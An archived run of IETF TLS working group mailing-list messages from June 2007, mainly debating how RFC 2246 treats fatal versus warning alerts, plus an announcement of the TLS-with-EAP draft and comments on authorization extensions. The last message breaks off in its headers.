Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit X-Spam-Score: 0.0 (/) X-Scan-Signature: 93238566e09e6e262849b4f805833007 Cc: tls@ietf.org X-BeenThere: tls@lists.ietf.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: "This is the mailing list for the Transport Layer Security working group of the IETF." List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , Errors-To: tls-bounces@lists.ietf.org Martin Rex wrote: > Bodo Moeller wrote: >> Of course, I totally agree that it makes sense to require fatal alerts >> before the connection is torn down (except in the close_notify case, >> obviously), and that it makes a lot of sense for implementations of >> the current specs to behave like this. I just don't agree that the >> current specifcations already require implementations to do this. > > I firmly believe that the SSLv3 spec required it, but a spec weasel > might try to argue that the TLSv1.0 an later specs have failed to add > the proper rfc-2119 terminology to various places of the SSLv3 protocol > description and therefore relaxed the original SSLv3 requirements. And in fact, one of the top 10 most-used TLS implementations (one of the newer ones) does not send fatal alerts (at least, not for most errors), citing just that reason. I see this becoming a nightmare for people who must diagnose problems. I'm afraid it's too late for TLS 1.0 and 1.1 already, but I sure would like to see it fixed in 1.2. -- Nelson B _______________________________________________ TLS mailing list TLS@lists.ietf.org https://www1.ietf.org/mailman/listinfo/tls From tls-bounces@lists.ietf.org Tue Jun 12 04:34:16 2007 Return-path: Received: from [127.0.0.1] (helo=stiedprmman1.va.neustar.com) by megatron.ietf.org with esmtp (Exim 4.43) id 1Hy1pK-0003RU-Ps; Tue, 12 Jun 2007 04:34:10 -0400 Received: from [10.91.34.44] (helo=ietf-mx.ietf.org) by megatron.ietf.org with esmtp (Exim 4.43) id 1Hy1pI-0003RC-OS for tls@ietf.org; Tue, 12 Jun 2007 04:34:08 -0400 Received: from michael.checkpoint.com ([194.29.32.68]) by ietf-mx.ietf.org with esmtp (Exim 4.43) id 1Hy1p1-0007nJ-GA for tls@ietf.org; Tue, 12 Jun 2007 04:34:08 -0400 Received: from [91.90.139.85] (localhost [127.0.0.1]) by michael.checkpoint.com (8.12.10+Sun/8.12.10) with ESMTP id l5C8XkW7020038; Tue, 12 Jun 2007 11:33:46 +0300 (IDT) Message-ID: <466E5A6A.4020304@checkpoint.com> Date: Tue, 12 Jun 2007 11:33:46 +0300 From: Yaron Sheffer User-Agent: Thunderbird 2.0.0.0 (Windows/20070326) MIME-Version: 1.0 To: eap@frascone.com, tls@ietf.org X-Spam-Score: 0.3 (/) X-Scan-Signature: f0b5a4216bfa030ed8a6f68d1833f8ae Cc: Subject: [TLS] Fwd: I-D ACTION:draft-nir-tls-eap-00.txt X-BeenThere: tls@lists.ietf.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: "This is the mailing list for the Transport Layer Security working group of the IETF." List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , Content-Type: multipart/mixed; boundary="===============0908424011==" Errors-To: tls-bounces@lists.ietf.org This is a multi-part message in MIME format. --===============0908424011== Content-Type: multipart/alternative; boundary="------------010204080703060409010501" This is a multi-part message in MIME format. --------------010204080703060409010501 Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit Hi all, we have recently submitted this revised draft, which should be of interest to the TLS community. I am cross-posting to the EAP list, as some people raised issues around the applicability of EAP to this proposal. Your comments are very welcome. Please reply to the TLS list. Thanks, Yaron -------- Original Message -------- Subject: I-D ACTION:draft-nir-tls-eap-00.txt Date: Mon, 11 Jun 2007 15:50:02 -0400 From: Internet-Drafts@ietf.org Reply-To: internet-drafts@ietf.org To: i-d-announce@ietf.org A New Internet-Draft is available from the on-line Internet-Drafts directories. Title : TLS using EAP Authentication Author(s) : Y. Nir, et al. Filename : draft-nir-tls-eap-00.txt Pages : 20 Date : 2007-6-11 This document describes an extension to the TLS protocol to allow TLS clients to authenticate with legacy credentials using the Extensible Authentication Protocol (EAP). This work follows the example of IKEv2, where EAP has been added to the IKEv2 protocol to allow clients to use different credentials such as passwords, token cards, and shared secrets. When TLS is used with EAP, additional records are sent after the ChangeCipherSpec protocol message and before the Finished message, effectively creating an extended handshake before the application layer data can be sent. Each EapMsg handshake record contains exactly one EAP message. Using EAP for client authentication allows TLS to be used with various AAA back-end servers such as RADIUS or Diameter. TLS with EAP may be used for securing a data connection such as HTTP or POP3. We believe it has three main benefits: o The ability of EAP to work with backend servers can remove that burden from the application layer. o Moving the user authentication into the TLS handshake protects the presumably less secure application layer from attacks by unauthenticated parties. o Using mutual authentication methods within EAP can help thwart certain classes of phishing attacks. A URL for this Internet-Draft is: http://www.ietf.org/internet-drafts/draft-nir-tls-eap-00.txt To remove yourself from the I-D Announcement list, send a message to i-d-announce-request@ietf.org with the word unsubscribe in the body of the message. You can also visit https://www1.ietf.org/mailman/listinfo/I-D-announce to change your subscription settings. Internet-Drafts are also available by anonymous FTP. Login with the username "anonymous" and a password of your e-mail address. After logging in, type "cd internet-drafts" and then "get draft-nir-tls-eap-00.txt". A list of Internet-Drafts directories can be found in http://www.ietf.org/shadow.html or ftp://ftp.ietf.org/ietf/1shadow-sites.txt Internet-Drafts can also be obtained by e-mail. Send a message to: mailserv@ietf.org. In the body type: "FILE /internet-drafts/draft-nir-tls-eap-00.txt". NOTE: The mail server at ietf.org can return the document in MIME-encoded form by using the "mpack" utility. To use this feature, insert the command "ENCODING mime" before the "FILE" command. To decode the response(s), you will need "munpack" or a MIME-compliant mail reader. Different MIME-compliant mail readers exhibit different behavior, especially when dealing with "multipart" MIME messages (i.e. documents which have been split up into multiple messages), so check your local documentation on how to manipulate these messages. Below is the data which will enable a MIME compliant mail reader implementation to automatically retrieve the ASCII version of the Internet-Draft. --------------010204080703060409010501 Content-Type: text/html; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit

Hi all,


we have recently submitted this revised draft, which should be of interest to the TLS community. I am cross-posting to the EAP list, as some people raised issues around the applicability of EAP to this proposal.


Your comments are very welcome. Please reply to the TLS list.


Thanks,

    Yaron


-------- Original Message --------
Subject: I-D ACTION:draft-nir-tls-eap-00.txt
Date: Mon, 11 Jun 2007 15:50:02 -0400
From: Internet-Drafts@ietf.org
Reply-To: internet-drafts@ietf.org
To: i-d-announce@ietf.org 


A New Internet-Draft is available from the on-line Internet-Drafts 
directories.


	Title		: TLS using EAP Authentication
	Author(s)	: Y. Nir, et al.
	Filename	: draft-nir-tls-eap-00.txt
	Pages		: 20
	Date		: 2007-6-11
	
   This document describes an extension to the TLS protocol to allow TLS
   clients to authenticate with legacy credentials using the Extensible
   Authentication Protocol (EAP).

   This work follows the example of IKEv2, where EAP has been added to
   the IKEv2 protocol to allow clients to use different credentials such
   as passwords, token cards, and shared secrets.

   When TLS is used with EAP, additional records are sent after the
   ChangeCipherSpec protocol message and before the Finished message,
   effectively creating an extended handshake before the application
   layer data can be sent.  Each EapMsg handshake record contains
   exactly one EAP message.  Using EAP for client authentication allows
   TLS to be used with various AAA back-end servers such as RADIUS or
   Diameter.

   TLS with EAP may be used for securing a data connection such as HTTP
   or POP3.  We believe it has three main benefits:
   o  The ability of EAP to work with backend servers can remove that
      burden from the application layer.
   o  Moving the user authentication into the TLS handshake protects the
      presumably less secure application layer from attacks by
      unauthenticated parties.
   o  Using mutual authentication methods within EAP can help thwart
      certain classes of phishing attacks.


A URL for this Internet-Draft is:
http://www.ietf.org/internet-drafts/draft-nir-tls-eap-00.txt

To remove yourself from the I-D Announcement list, send a message to 
i-d-announce-request@ietf.org with the word unsubscribe in the body of 
the message. 
You can also visit https://www1.ietf.org/mailman/listinfo/I-D-announce 
to change your subscription settings.

Internet-Drafts are also available by anonymous FTP. Login with the 
username "anonymous" and a password of your e-mail address. After 
logging in, type "cd internet-drafts" and then 
"get draft-nir-tls-eap-00.txt".

A list of Internet-Drafts directories can be found in
http://www.ietf.org/shadow.html 
or ftp://ftp.ietf.org/ietf/1shadow-sites.txt

Internet-Drafts can also be obtained by e-mail.

Send a message to:
	mailserv@ietf.org.
In the body type:
	"FILE /internet-drafts/draft-nir-tls-eap-00.txt".
	
NOTE:	The mail server at ietf.org can return the document in
	MIME-encoded form by using the "mpack" utility.  To use this
	feature, insert the command "ENCODING mime" before the "FILE"
	command.  To decode the response(s), you will need "munpack" or
	a MIME-compliant mail reader.  Different MIME-compliant mail readers
	exhibit different behavior, especially when dealing with
	"multipart" MIME messages (i.e. documents which have been split
	up into multiple messages), so check your local documentation on
	how to manipulate these messages.

Below is the data which will enable a MIME compliant mail reader
implementation to automatically retrieve the ASCII version of the
Internet-Draft.
--------------010204080703060409010501-- --===============0908424011== Content-Type: text/plain; charset="us-ascii" MIME-Version: 1.0 Content-Transfer-Encoding: 7bit Content-Disposition: inline _______________________________________________ TLS mailing list TLS@lists.ietf.org https://www1.ietf.org/mailman/listinfo/tls --===============0908424011==-- From tls-bounces@lists.ietf.org Tue Jun 12 04:38:47 2007 Return-path: Received: from [127.0.0.1] (helo=stiedprmman1.va.neustar.com) by megatron.ietf.org with esmtp (Exim 4.43) id 1Hy1tm-0007Mc-O3; Tue, 12 Jun 2007 04:38:46 -0400 Received: from [10.91.34.44] (helo=ietf-mx.ietf.org) by megatron.ietf.org with esmtp (Exim 4.43) id 1Hy1tl-0007MW-9r for tls@ietf.org; Tue, 12 Jun 2007 04:38:45 -0400 Received: from cirrus.av8.net ([130.105.36.66]) by ietf-mx.ietf.org with esmtp (Exim 4.43) id 1Hy1tk-00029U-1P for tls@ietf.org; Tue, 12 Jun 2007 04:38:45 -0400 Received: from [130.105.12.10] ([130.105.12.10]) (authenticated bits=0) by cirrus.av8.net (8.12.11/8.12.11) with ESMTP id l5C8ceOf003395 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO) for ; Tue, 12 Jun 2007 04:38:43 -0400 Date: Tue, 12 Jun 2007 04:38:39 -0400 (EDT) From: Dean Anderson X-X-Sender: dean@citation2.av8.net To: tls@ietf.org Subject: Re: [TLS] Patents and draft-housley-authz-extns-07 (fwd) Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Spam-Score: 0.8 (/) X-Scan-Signature: 9466e0365fc95844abaf7c3f15a05c7d Cc: X-BeenThere: tls@lists.ietf.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: "This is the mailing list for the Transport Layer Security working group of the IETF." List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , Errors-To: tls-bounces@lists.ietf.org Ok, Beef's on. A bit raw, but raw is good. ;-) --Dean -- Av8 Internet Prepared to pay a premium for better service? www.av8.net faster, more reliable, better service 617 344 9000 ---------- Forwarded message ---------- Date: Fri, 08 Jun 2007 14:44:41 -0700 From: Nelson B Bolyard To: Dean Anderson Subject: Re: [TLS] Patents and draft-housley-authz-extns-07 Dean Anderson wrote: > Also I have learned that not everyone on the TLS list knows the history > of the draft, particularly the misbehavior. I'm going to put up a web > page on http://www.av8.net/IETF-watch/People/Housley/ to document this. Where's the beef? I get 404 Not Found The requested URL /IETF-watch/People/Housley/ was not found on this server. _______________________________________________ TLS mailing list TLS@lists.ietf.org https://www1.ietf.org/mailman/listinfo/tls From tls-bounces@lists.ietf.org Tue Jun 12 05:32:46 2007 Return-path: Received: from [127.0.0.1] (helo=stiedprmman1.va.neustar.com) by megatron.ietf.org with esmtp (Exim 4.43) id 1Hy2k1-00074k-AN; Tue, 12 Jun 2007 05:32:45 -0400 Received: from [10.91.34.44] (helo=ietf-mx.ietf.org) by megatron.ietf.org with esmtp (Exim 4.43) id 1Hy2jz-00074e-F2 for tls@ietf.org; Tue, 12 Jun 2007 05:32:43 -0400 Received: from moutng.kundenserver.de ([212.227.126.183]) by ietf-mx.ietf.org with esmtp (Exim 4.43) id 1Hy2jz-0003BY-29 for tls@ietf.org; Tue, 12 Jun 2007 05:32:43 -0400 Received: from [80.142.173.109] (helo=tau.invalid) by mrelayeu.kundenserver.de (node=mrelayeu8) with ESMTP (Nemesis), id 0ML31I-1Hy2jy0GUh-00044X; Tue, 12 Jun 2007 11:32:42 +0200 Received: by tau.invalid (Postfix, from userid 1000) id CD1CC1AED4; Tue, 12 Jun 2007 11:32:35 +0200 (CEST) Date: Tue, 12 Jun 2007 11:32:35 +0200 From: Bodo Moeller To: Martin Rex Subject: Re: [TLS] Issue 16: Alert clarifications Message-ID: <20070612093235.GA14881@tau.invalid> References: <20070612003726.GA12437@tau.invalid> <200706120326.l5C3QfCb000990@fs4113.wdf.sap.corp> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <200706120326.l5C3QfCb000990@fs4113.wdf.sap.corp> User-Agent: Mutt/1.5.9i X-Provags-ID: V01U2FsdGVkX1/fUDvnvCHNWSXPj0Axq/LCsiwZgxkKL65vYCm F9sts68THT1VzAbVwP1I6lpQgjJ5i0YjbyPOElc31Bfe1cYxvr MPN9CWWgzIl8r4Ghj2vxQ== X-Spam-Score: 0.0 (/) X-Scan-Signature: f607d15ccc2bc4eaf3ade8ffa8af02a0 Cc: tls@ietf.org X-BeenThere: tls@lists.ietf.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: "This is the mailing list for the Transport Layer Security working group of the IETF." List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , Errors-To: tls-bounces@lists.ietf.org On Tue, Jun 12, 2007 at 05:26:41AM +0200, Martin Rex wrote: > Bodo Moeller wrote: >> This has nothing to do with RFC 2119 terminology. RFC 2246 and later >> make specific statements regarding what the sender and receiver of an >> alert should do; this is where the RFC could have codified, in >> whatever form, this aspect of the distinction between fatal alerts and >> warning alerts. It quite clearly doesn't say what we think it should >> be saying. > I disagree. Search rfc2246 for "close" of the connection, and every > occurrence except for "Closure alert" explicitly references a prior > fatal ssl alert. > > I don't see where the spec would permit or even suggest closure of > the connection after any other ssl alert of level warning other than > "closure alert". The problematic language is the following: [...] if an alert with a level of warning is received, the ^^^^^^^^^^^^^^^^^^^ receiving party may decide at its discretion whether to treat this as ^^^^^^^^^^^^^ a fatal error or not. However, all messages which are transmitted ^^^^^^^^^^^^^ with a level of fatal must be treated as fatal messages. This isn't strictly inconsistent with your interpretation, but doesn't enforce it either: It is easy to read this as "when receiving a warning alert, you may act as if you received a fatal alert". Again, this is not what I *want* the specification to say or how I would like implementations to behave -- I just want the specification to say *more explicitly* that a party that receives a warning (other than close_notify) and decides to terminate the connection needs to send a fatal alert. Maybe that's already what RFC 2246 secretly wanted us to do, but if so, it is not revealing much about this. For example, you have to be creative about determining the appropriate error alert for this fatal alert: From the alert descriptions in RFC 2246, there isn't really anything appropriate for every case -- what do you send when terminating the connection in response to, say, a bad_certificate warning? Using bad_certificate for the response too can be ambiguous; unexpected_message isn't appropriate for this according to the specification ("should never be observed in communication between proper implementations"); so handshake_failure possibly is the best choice, but this use doesn't quite match its description in the RFC (according to the spec, it is about unacceptable "security parameters", and that's a pretty specific term in the TLS specification: see 6.1 and A.6). This would be quite different if there was any error alert description that said something along the lines of "This alert is sent if a warning alert is received and this warning is treated as an error. This message is always fatal." (Maybe something like this should be added to the handshake_failure description.) Bodo _______________________________________________ TLS mailing list TLS@lists.ietf.org https://www1.ietf.org/mailman/listinfo/tls From tls-bounces@lists.ietf.org Tue Jun 12 08:00:14 2007 Return-path: Received: from [127.0.0.1] (helo=stiedprmman1.va.neustar.com) by megatron.ietf.org with esmtp (Exim 4.43) id 1Hy52d-0005iv-Br; Tue, 12 Jun 2007 08:00:07 -0400 Received: from [10.91.34.44] (helo=ietf-mx.ietf.org) by megatron.ietf.org with esmtp (Exim 4.43) id 1Hy52c-0005ia-7g for tls@ietf.org; Tue, 12 Jun 2007 08:00:06 -0400 Received: from py-out-1112.google.com ([64.233.166.178]) by ietf-mx.ietf.org with esmtp (Exim 4.43) id 1Hy52a-0003Lm-3K for tls@ietf.org; Tue, 12 Jun 2007 08:00:06 -0400 Received: by py-out-1112.google.com with SMTP id a25so1562454pyi for ; Tue, 12 Jun 2007 05:00:01 -0700 (PDT) DKIM-Signature: a=rsa-sha1; c=relaxed/relaxed; d=gmail.com; s=beta; h=domainkey-signature:received:received:message-id:date:from:sender:to:subject:cc:in-reply-to:mime-version:content-type:content-transfer-encoding:content-disposition:references:x-google-sender-auth; b=HacFIYx1zVXoU5apS6o+vlyqoyj1pzMsVJbDIoZvN0XHztFWsVSufJWi/TvfMHd/kfvNBCrXGvibBk6/nJZbbQhn8NwWR7S3PgMpTmsSnuj6KaSUlvNR3oTmmt4sDETsf+8IQNXOQhLvyuKWM9FfikHMLfj30zkwyD+yugeqqQs= DomainKey-Signature: a=rsa-sha1; c=nofws; d=gmail.com; s=beta; h=received:message-id:date:from:sender:to:subject:cc:in-reply-to:mime-version:content-type:content-transfer-encoding:content-disposition:references:x-google-sender-auth; b=guSREW46Ez/QeeuwM2WYSI5R9CChHV2wf+9Pv/swYfP68cQaqBvMXowcgmG30fNgkX/16xbu1ypsYQuGIEIK/bQxBCoS2QPdTpoCKuEe7u9Yo7aNdYJG/kSQDZ64jWHbgHVd4Vv/DpnnsGPIprGg2WqMb3wmJdGXYNgdLBRU3HY= Received: by 10.64.241.14 with SMTP id o14mr11234430qbh.1181649601068; Tue, 12 Jun 2007 05:00:01 -0700 (PDT) Received: by 10.65.44.12 with HTTP; Tue, 12 Jun 2007 05:00:00 -0700 (PDT) Message-ID: <4dc592980706120500t76649f32gc4934eff8d2a0578@mail.gmail.com> Date: Tue, 12 Jun 2007 14:00:00 +0200 From: "Andres Marin" To: "Simon Josefsson" Subject: Re: [TLS] Re: Comments on draft-housley-tls-authz-extns-07 In-Reply-To: <87vedu25a1.fsf@mocca.josefsson.org> MIME-Version: 1.0 Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: quoted-printable Content-Disposition: inline References: <87vedu25a1.fsf@mocca.josefsson.org> X-Google-Sender-Auth: a11403e6c79c73db X-Spam-Score: 0.5 (/) X-Scan-Signature: f4c2cf0bccc868e4cc88dace71fb3f44 Cc: hartmans-ietf@mit.edu, iesg@ietf.org, free-ietf-review@josefsson.org, tls@ietf.org X-BeenThere: tls@lists.ietf.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: "This is the mailing list for the Transport Layer Security working group of the IETF." List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , Errors-To: tls-bounces@lists.ietf.org On 6/11/07, Simon Josefsson wrote: > If someone knows of prior art where X.509 Attribute Certificates and/or > SAML assertions are sent over TLS (possibly in the handshake, but that > doesn't seem critical), that would be very useful information. We have been working in authorization extensions for TLS since 2004 at the University Carlos III de Madrid. When we noticed the drafts of Mr. Housley and Mr. Brown, we contacted them since the discussion in the TLS group by then was over. We sent them our comments plus the paper we were writing to a journal, and also a toolkit for AC attributes based on openssl. The API is available for download at http://www.it.uc3m.es/dds/swRelease/pmi/pmi.xml. We exchanged some emails since our intention was to collaborate in writing a better draft for authorization, but in the end this did not happen. Our main comments to draft-housley-tls-authz-extns-07 were: - The double handshake to ensure auth data is exchanged over a secure channel can be unacceptable for some applications, or at least it could be improved. We are unsure if there is another motivation for this, perhaps the reduced complexity to implement new servers... We think that after the extension, a new authorization protocol message should be used, to avoid double handshake and also to prevent man-in-the-middle attacks and preserve privacy of authorization information. - In the case of SAML, the extension does not allow a server to indicate the client if a given issuer would be accepted as a valid SoA. It does not either allow the client to indicate the SAML protocol binding or the assertion consumer endpoint. We submitted our work to IEEE Security & Privacy Conference 2007, but they found it more appropriate for IETF discussion. You can find it here: http://karajan.it.uc3m.es:9673/pervasive/tls-auth/TLSExtv4.pdf user:draft passwd:extn-07 We were considering sending a draft with a proposal for authorization extension in TLS. But after this discussion, and specially some reasonable complaints about the increasing complexity in client and server hello messages, we think that may be it is better to specify new layers for dealing with such extensions. The idea is not to include further negotiations in TLS handshake (in our case authorization, but may be others), and just indicate in the hello messages the layer ids to deal with such negotiation, where the new layers will be clients of the Record Layer. -- Daniel D=EDaz S=E1nchez & Andres Marin Lopez Universidad Carlos III de Madrid http://www.it.uc3m.es/pervasive > > /Simon > > _______________________________________________ > TLS mailing list > TLS@lists.ietf.org > https://www1.ietf.org/mailman/listinfo/tls > _______________________________________________ TLS mailing list TLS@lists.ietf.org https://www1.ietf.org/mailman/listinfo/tls From tls-bounces@lists.ietf.org Tue Jun 12 11:00:11 2007 Return-path: Received: from [127.0.0.1] (helo=stiedprmman1.va.neustar.com) by megatron.ietf.org with esmtp (Exim 4.43) id 1Hy7qg-0007hA-7F; Tue, 12 Jun 2007 10:59:58 -0400 Received: from [10.91.34.44] (helo=ietf-mx.ietf.org) by megatron.ietf.org with esmtp (Exim 4.43) id 1Hy7qe-0007gs-Of for tls@ietf.org; Tue, 12 Jun 2007 10:59:56 -0400 Received: from smtpde02.sap-ag.de ([155.56.68.170]) by ietf-mx.ietf.org with esmtp (Exim 4.43) id 1Hy7m5-0005tr-EM for tls@ietf.org; Tue, 12 Jun 2007 10:55:13 -0400 Received: from sap-ag.de (smtpde02) by smtpde02.sap-ag.de (out) with ESMTP id QAA22028; Tue, 12 Jun 2007 16:54:57 +0200 (MESZ) From: Martin Rex Message-Id: <200706121453.l5CErflV028302@fs4113.wdf.sap.corp> Subject: Re: [TLS] Issue 16: Alert clarifications To: bmoeller@acm.org (Bodo Moeller) Date: Tue, 12 Jun 2007 16:53:41 +0200 (MEST) In-Reply-To: <20070612093235.GA14881@tau.invalid> from "Bodo Moeller" at Jun 12, 7 11:32:35 am MIME-Version: 1.0 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 8bit X-SAP: out X-SAP: out X-Spam-Score: 0.0 (/) X-Scan-Signature: b1c41982e167b872076d0018e4e1dc3c Cc: Martin.Rex@sap.com, tls@ietf.org X-BeenThere: tls@lists.ietf.org X-Mailman-Version: 2.1.5 Precedence: list Reply-To: martin.rex@sap.com List-Id: "This is the mailing list for the Transport Layer Security working group of the IETF." List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , Errors-To: tls-bounces@lists.ietf.org Bodo Moeller wrote: > > On Tue, Jun 12, 2007 at 05:26:41AM +0200, Martin Rex wrote: > > Bodo Moeller wrote: > > >> This has nothing to do with RFC 2119 terminology. RFC 2246 and later > >> make specific statements regarding what the sender and receiver of an > >> alert should do; this is where the RFC could have codified, in > >> whatever form, this aspect of the distinction between fatal alerts and > >> warning alerts. It quite clearly doesn't say what we think it should > >> be saying. > > > I disagree. Search rfc2246 for "close" of the connection, and every > > occurrence except for "Closure alert" explicitly references a prior > > fatal ssl alert. > > > > I don't see where the spec would permit or even suggest closure of > > the connection after any other ssl alert of level warning other than > > "closure alert". > > The problematic language is the following: > > [...] if an alert with a level of warning is received, the > ^^^^^^^^^^^^^^^^^^^ > receiving party may decide at its discretion whether to treat this as > ^^^^^^^^^^^^^ > a fatal error or not. However, all messages which are transmitted > ^^^^^^^^^^^^^ Where is the problem. The receiver which treats a warning as a fatal error is the "detecting" party: When an error is detected, the detecting party sends a message to the other party. Upon transmission or receipt of an fatal alert message, both parties immediately close the connection. and therefore required to send a fatal alert before being allowed to close the communication channel. > with a level of fatal must be treated as fatal messages. > > This isn't strictly inconsistent with your interpretation, but doesn't > enforce it either: It is easy to read this as "when receiving a > warning alert, you may act as if you received a fatal alert". No, this is wrong. When receiving a warning alert, the receiving party may decide to handle this to be a fatal error, resulting in a requirement to send a (fatal alert) message to the other party. The sender of the warning certainly didn't mean this to be a (fatal) error, which is why it sent a warning and is waiting for a response/continuation of the communication. > > Again, this is not what I *want* the specification to say or how I would > like implementations to behave -- I just want the specification to say > *more explicitly* that a party that receives a warning (other than > close_notify) and decides to terminate the connection needs to send a > fatal alert. I would also appreciate if the spec was more explicit about this, and in particular I do *NOT* want this to be considered a change to the existing spec that is new and valid only for TLSv1.2. Documenting what a correct sender ought to do is fairly easy. Documenting what behaviour receipients will have to deal with in the wild is much harder, because of inconsistencies, defects and silent backwards-incompatible changes in the history of the TLS spec. > > Maybe that's already what RFC 2246 secretly wanted us to do, but if > so, it is not revealing much about this. For example, you have to be > creative about determining the appropriate error alert for this fatal > alert: From the alert descriptions in RFC 2246, there isn't really > anything appropriate for every case -- what do you send when > terminating the connection in response to, say, a bad_certificate > warning? Using bad_certificate for the response too can be ambiguous; > unexpected_message isn't appropriate for this according to the > specification ("should never be observed in communication between > proper implementations"); so handshake_failure possibly is the best > choice, but this use doesn't quite match its description in the RFC > (according to the spec, it is about unacceptable "security > parameters", and that's a pretty specific term in the TLS > specification: see 6.1 and A.6). The spec calls for a fatal handshake_failure alert in most situations. Which, admittedly, isn't going to be very helpful for the peer. :-| > > This would be quite different if there was any error alert description > that said something along the lines of "This alert is sent if a > warning alert is received and this warning is treated as an error. > This message is always fatal." (Maybe something like this should be > added to the handshake_failure description.) It seems strange that there are several alerts in SSL concerning certificate validity/acceptance and even one to indicate that no (client) certificate is available, but none for indicating certificate_required. There was a warning alert added to TLSv1.0 in an IMHO broken fashion: user_cancelled. rfc2246 even suggest that this is followed up by a close notify alert -- which I consider a serious mistake. user_canelled should have been made an alternative "closure alert", if any. "close notify" only makes sense after a successfully completed SSL/TLS handshake, it would be inappropriate during the SSL/TLS handshake. for fully established SSL/TLS sessions. "user_cancelled" was apparently added to perform a "graceful abort" of a SSL/TLS handshake (probably with the intention that it does not get logged or reported as a technical error). As such, the suggestion to followup with a close_notify is IMHO wrong. close notify should only be used after a successful handshake. -Martin _______________________________________________ TLS mailing list TLS@lists.ietf.org https://www1.ietf.org/mailman/listinfo/tls From tls-bounces@lists.ietf.org Tue Jun 12 11:21:30 2007 Return-path: Received: from [127.0.0.1] (helo=stiedprmman1.va.neustar.com) by megatron.ietf.org with esmtp (Exim 4.43) id 1Hy8BV-0006c5-Pp; Tue, 12 Jun 2007 11:21:29 -0400 Received: from [10.91.34.44] (helo=ietf-mx.ietf.org) by megatron.ietf.org with esmtp (Exim 4.43) id 1Hy8BU-0006bw-Ee for tls@ietf.org; Tue, 12 Jun 2007 11:21:28 -0400 Received: from moutng.kundenserver.de ([212.227.126.179]) by ietf-mx.ietf.org with esmtp (Exim 4.43) id 1Hy8BS-000587-0C for tls@ietf.org; Tue, 12 Jun 2007 11:21:28 -0400 Received: from [134.147.40.246] (helo=tau.invalid) by mrelayeu.kundenserver.de (node=mrelayeu6) with ESMTP (Nemesis), id 0ML29c-1Hy8BP1vdV-0002nj; Tue, 12 Jun 2007 17:21:23 +0200 Received: by tau.invalid (Postfix, from userid 1000) id F3E2C1A43A; Tue, 12 Jun 2007 17:21:19 +0200 (CEST) Date: Tue, 12 Jun 2007 17:21:19 +0200 From: Bodo Moeller To: Martin Rex Subject: Re: [TLS] Issue 16: Alert clarifications Message-ID: <20070612152119.GA25578@tau.invalid> References: <20070612093235.GA14881@tau.invalid> <200706121453.l5CErflV028302@fs4113.wdf.sap.corp> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <200706121453.l5CErflV028302@fs4113.wdf.sap.corp> User-Agent: Mutt/1.5.9i X-Provags-ID: V01U2FsdGVkX195MbTfglBAZStdAxUw1zIu9iDicxuo5KUYfrw A6jfbDwBpnJr2vXwvfERmfzWqgUX++u2S2dxsbY8Ml3tbO9TSL 8cDiQe9kCwBVkxkR7PyRA== X-Spam-Score: 0.0 (/) X-Scan-Signature: 52e1467c2184c31006318542db5614d5 Cc: tls@ietf.org X-BeenThere: tls@lists.ietf.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: "This is the mailing list for the Transport Layer Security working group of the IETF." List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , Errors-To: tls-bounces@lists.ietf.org On Tue, Jun 12, 2007 at 04:53:41PM +0200, Martin Rex wrote: >> Again, this is not what I *want* the specification to say or how I would >> like implementations to behave -- I just want the specification to say >> *more explicitly* that a party that receives a warning (other than >> close_notify) and decides to terminate the connection needs to send a >> fatal alert. > I would also appreciate if the spec was more explicit about this, > and in particular I do *NOT* want this to be considered a change > to the existing spec that is new and valid only for TLSv1.2. Not a change just for TLS 1.2, but a clarification for something that previously was under-specified. >> Maybe that's already what RFC 2246 secretly wanted us to do, but if >> so, it is not revealing much about this. For example, you have to be >> creative about determining the appropriate error alert for this fatal >> alert: [...] >> so handshake_failure possibly is the best >> choice, but this use doesn't quite match its description in the RFC >> (according to the spec, it is about unacceptable "security >> parameters", and that's a pretty specific term in the TLS >> specification: see 6.1 and A.6). > The spec calls for a fatal handshake_failure alert in most situations. One problem is that the spec doesn't really say that you can use handshake_failure in such situations. The spec can just as easily be interpreted as saying that you can't. (Common sense can come in helpfully and say that you should use handshake_failure *despite of* what the current spec says.) Bodo _______________________________________________ TLS mailing list TLS@lists.ietf.org https://www1.ietf.org/mailman/listinfo/tls From tls-bounces@lists.ietf.org Tue Jun 12 13:21:38 2007 Return-path: Received: from [127.0.0.1] (helo=stiedprmman1.va.neustar.com) by megatron.ietf.org with esmtp (Exim 4.43) id 1HyA3a-00088n-AY; Tue, 12 Jun 2007 13:21:26 -0400 Received: from [10.91.34.44] (helo=ietf-mx.ietf.org) by megatron.ietf.org with esmtp (Exim 4.43) id 1HyA3Z-00088i-23 for tls@ietf.org; Tue, 12 Jun 2007 13:21:25 -0400 Received: from smtpde03.sap-ag.de ([155.56.68.140]) by ietf-mx.ietf.org with esmtp (Exim 4.43) id 1HyA3X-0004WL-Kl for tls@ietf.org; Tue, 12 Jun 2007 13:21:25 -0400 Received: from sap-ag.de (smtpde03) by smtpde03.sap-ag.de (out) with ESMTP id TAA09391; Tue, 12 Jun 2007 19:21:19 +0200 (MESZ) From: Martin Rex Message-Id: <200706121721.l5CHLJh6011341@fs4113.wdf.sap.corp> Subject: Re: [TLS] Issue 16: Alert clarifications To: bmoeller@acm.org (Bodo Moeller) Date: Tue, 12 Jun 